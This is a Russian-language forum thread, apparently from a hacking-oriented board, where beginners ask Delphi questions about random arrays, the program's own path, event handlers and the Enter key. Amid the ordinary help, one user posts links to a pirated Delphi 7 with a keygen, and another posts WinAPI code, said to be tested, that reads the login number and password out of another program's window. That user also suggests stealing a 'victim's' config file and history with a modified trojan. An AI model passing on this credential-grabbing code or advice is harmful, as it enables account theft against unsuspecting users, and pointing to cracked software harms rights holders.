[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. Myst

    Myst Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    22
    Likes Received:
    15
    Reputations:
    5
    m9chik
    Как это не странно, но тебе надо скачать программу delphi, например отсюда:
    http://rapidshare.com/files/14013555/Delphi7-Cky4k.part1.rar
    http://rapidshare.com/files/14015291/Delphi7-Cky4k.part2.rar
    Кейген на Делфи 7 тут:
    http://ifolder.ru/3615544

    Других вариантов просто нет, если только другие версии.
    http://www.delphilab.ru/content/view/87/75/- всевозможные версии, а вообще можешь поискать сам программа называется Borland Delphi
     
    #1381 Myst, 25 Apr 2008
    Last edited: 25 Apr 2008
  2. Myst

    Myst Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    22
    Likes Received:
    15
    Reputations:
    5
    Code:
    Randomize;
    For i:=0 to 24 do
    Begin 
    X:=random(99-i);
    B[i]:=a[x];
    A[x]:=a[99-i];
    End;
    
    Где а - массив со 100 числами, b - 25 которые нужно получить, i,x - целые числа.
     
    #1382 Myst, 25 Apr 2008
    Last edited by a moderator: 27 Apr 2008
    1 person likes this.
  3. Flame of Soul

    Flame of Soul Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    185
    Likes Received:
    146
    Reputations:
    45
    Delphi

    PHP:
    Язык:     "Delphi"
    Версия:    "7"

    /*

    Как сделать так чтобы по нажатию 'Button' программа автоматически определяла
    путь до самой себя и присваивала его 'Label1.Caption'.

    */
     
  4. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    Label1.Caption := Application.ExeName;
     
    1 person likes this.
  5. Dr.KoD

    Dr.KoD Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    68
    Likes Received:
    22
    Reputations:
    1
    Вот еще один способ:
    Label1.Caption:=paramstr(0);
     
    1 person likes this.
  6. Dr.KoD

    Dr.KoD Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    68
    Likes Received:
    22
    Reputations:
    1
    Code:
    var
    hManForm,hGroupBox,hEdit,hComboBox:HWND;
    pUin:String;
    pPass:String;
    iUin:integer;
    iPass:integer;
    begin
    hManForm:= findwindow(nil, 'TManForm');
      if hManForm <> 0 then
      begin
    hGroupBox:=FindWindowEx(hManForm,0,'TGroupBox',nil);
    hComboBox:=FindWindowEx(hGroupBox,0,'TComboBox',nil);
    iUIN:=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0);
    if (iUin>0) then
    begin
    iUin:=iUin+1;
    setlength(pUin, iUin);
    sendmessage(hComboBox, wm_gettext, iUin, longint(@pUin[1]));
     end;
     hEdit:=FindWindowEx(hGroupBox,0,'TEdit',nil);
    iPass:=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0);
    if (iPass>0) then
    begin
     iPass:=iPass+1;
    setlength(pPass, iPass);
    sendmessage(hEdit, wm_gettext, iPass, longint(@pPass[1]));
    end;
    end;
     end;
    Держи, тут же ничего сложного нет все на чистом WinAPI, вроде в коде ошибок нету, но на работос пособность не проверял(насколько он выполняет свои функции, т.к. незнаю для какой проги ты пишеш, но тут все предельно ясно просто если, что поменяеш названия элементов и окна). Конечный результат заносится в буфер, а че с ним делать решать тебе, толи пихнуть в файл толи вывести сообщение, это уже сам, если что пиши. ;)
     
    1 person likes this.
  7. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Лишний пробел вроде вставляется форумом:)
     
  8. Dr.KoD

    Dr.KoD Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    68
    Likes Received:
    22
    Reputations:
    1
    Ну ты сначало возьми определи название окна и всех элементов, можеш использовать для этого прогу которая идет с Vs или есть еще такая же штука в автоите, определяеш все нужные элементы и пихаеш в этот код, а для получения кажись пароля придется еще писать функцию, которая прочитает пасс под звездочками.
    А не проще конфиг у потенциальной жертвы слямзить, а пароль расшифровать потом, какойнить утилитой, имхо намного проще притом за компанию можно уволоч и историю, тут даж гдето пример валялся такого троя, только крал он только историю, но там модифицировать для кражи конфиг файла, делов пары минут.
     
  9. Dr.KoD

    Dr.KoD Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    68
    Likes Received:
    22
    Reputations:
    1
    Code:
    var
    hManForm,hGroupBox,hEdit,hComboBox, hEdit1:HWND;
    pUin:String;
    pPass:String;
    iUin:integer;
    iPass:integer;
    begin
    hManForm:=FindWindow('TManForm',nil);
      if hManForm <> 0 then
      begin
    hGroupBox:=FindWindowEx(hManForm,0,'TGroupBox',nil);
    hComboBox:=FindWindowEx(hGroupBox,0,'TComboBox',nil);
    hEdit1:=FindWindowEx(hComboBox,0,'Edit',nil);
    iUIN:=SendMessage(hEdit1, WM_GETTEXTLENGTH, 0, 0);
    if (iUin>0) then
    begin
    iUin:=iUin+1;
    setlength(pUin, iUin);
    sendmessage(hEdit1, wm_gettext, iUin, longint(@pUin[1]));
    Label1.Caption:=pUin;
     end;
     hEdit:=FindWindowEx(hGroupBox,0,'TEdit',nil);
    iPass:=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0);
    if (iPass>0) then
    begin
     iPass:=iPass+1;
    setlength(pPass, iPass);
    sendmessage(hEdit, wm_gettext, iPass, longint(@pPass[1]));
    Label2.Caption:=pPass;
    end;
    end;
     end;
    На вот, этот код 100% рабочий, проверял!!! ;) Там кароч в комбобоксе запрятан едит, да и я ошибочку в начале маленькую допустил, терь усе поправил. ;) С тебя пол литра ;)
    зы этот код читает пасс только в ткрытом виде!!!
     
    #1389 Dr.KoD, 27 Apr 2008
    Last edited: 27 Apr 2008
    1 person likes this.
  10. KIR@PRO

    KIR@PRO from Exception

    Joined:
    26 Dec 2007
    Messages:
    826
    Likes Received:
    291
    Reputations:
    359
    скажите а возможноли установив в событии onClick к примеру у 3 компонентов Tedit такую процедуру procedure TForm1.Clickmyedit(Sender: TObject);
    узнать из Sender какой именно из 3-х Edit'ов вызвал её???


    спасибо но google рулит....)))))) кому надо выкладываю:

    Code:
    procedure TForm1.Clickmyedit(Sender: TObject);
    begin
    (Sender as TEdit).color:=clred;
    end;
    
    полный пример: _http://www.delphisources.ru/pages/faq/base/use_sender.html

    так же для Tbutton и др. классов))) после точки все тоже что и edit1. )))))


    даже 5 минут не прошло сразу нашел)))))
     
    _________________________
    #1390 KIR@PRO, 27 Apr 2008
    Last edited: 27 Apr 2008
    1 person likes this.
  11. Metall

    Metall Elder - Старейшина

    Joined:
    4 Jan 2008
    Messages:
    57
    Likes Received:
    10
    Reputations:
    0
    Как назначить один обработчик двум событиям? Например, мне нужно, чтобы в компонент TMemo попадало то, что введет пользователь в TEdit, но не только по нажатию кнопки, а и по нажатию клавиши Enter.
    ------------
    И еще. Почему конструкция case не работает для строки? Например:
    Code:
    var
       MyString: String;
    begin
       case MyString of
          'привет': блок кода 1;
          'пока': блок кода 2;
       end;
    end;
     
  12. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Такая запись неверна,(case не работает со строками) Здесь оператор If тебе в помощь:)

    так:
    Code:
    procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    begin
    if key= vk_return then
       //Твой код:)
    end;
    ??



    Эмуляция нажатия enter
    http://articles.org.ru/cfaq/index.php?qid=2112&frommostrecent=yes
     
    #1392 De-visible, 27 Apr 2008
    Last edited: 27 Apr 2008
  13. Dr.KoD

    Dr.KoD Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    68
    Likes Received:
    22
    Reputations:
    1
    #1393 Dr.KoD, 27 Apr 2008
    Last edited by a moderator: 27 Apr 2008
  14. Metall

    Metall Elder - Старейшина

    Joined:
    4 Jan 2008
    Messages:
    57
    Likes Received:
    10
    Reputations:
    0
    Как-то оно не совсем так :). Только что попробовал, действительно, если я нажму Enter, строка попадет в TMemo. Но после нажатия любой клавиши строка тоже будет выводится

    Мало что с этого понял.

    Как же назначить один обработчик двум событиям?
     
  15. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    А так:

    Code:
    [B]procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    begin
    //Отлавливаем нажатие Enter
      if key = #13 then button1.click;
      end;
    end;[/B]
    А в button1.click впиши необходимые действи....
     
    #1395 De-visible, 27 Apr 2008
    Last edited: 27 Apr 2008
  16. Dr.KoD

    Dr.KoD Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    68
    Likes Received:
    22
    Reputations:
    1
    Да неможет быть, должно все работать, покажи свой код, что ты там намутил.
     
  17. Metall

    Metall Elder - Старейшина

    Joined:
    4 Jan 2008
    Messages:
    57
    Likes Received:
    10
    Reputations:
    0
    Выдает ошибку: "Incompatible types"
    button1.click - разве здесь нужна точка?
    Если нет, то выдает еще одну ошибку: "Not enough actual parameters"
    И если мы вызываем процедуру, разве не нужно ставить скобки "()" после ее названия?
    key = #13 - почему здесь написано "=", а не ":="

    Извините. Действительно работает.
     
    #1397 Metall, 27 Apr 2008
    Last edited: 27 Apr 2008
  18. z01b

    z01b Муджахид

    Joined:
    5 Jan 2007
    Messages:
    494
    Likes Received:
    382
    Reputations:
    22
    ":=" - значит присвоить.
    "=" - логический оператор.
    да, там нужна точка, т.к. click, это метод обьекта Button1.
    Вот я читаю строчку
    if key:=#13 then ...
    если присвоить кею - #13 то
    if key = #13 then ...
    если кей равен 13 то
    Чувствуешь разницу?? ЗЫ Первая неправильная.
     
    #1398 z01b, 27 Apr 2008
    Last edited: 27 Apr 2008
  19. Metall

    Metall Elder - Старейшина

    Joined:
    4 Jan 2008
    Messages:
    57
    Likes Received:
    10
    Reputations:
    0
    Да, спасибо.
    Но нам ведь нужно вызвать процедуру Button1Click :-\ ? Или я что-то не так понял?
    Код у меня не работает.
     
  20. Metall

    Metall Elder - Старейшина

    Joined:
    4 Jan 2008
    Messages:
    57
    Likes Received:
    10
    Reputations:
    0
    Спасибо, работает.
    Только не совсем понятно, зачем здесь >>> button1.click точка?
    Мы же должны просто вызвать процедуру, с названием Button1Click
     
Thread Status:
Not open for further replies.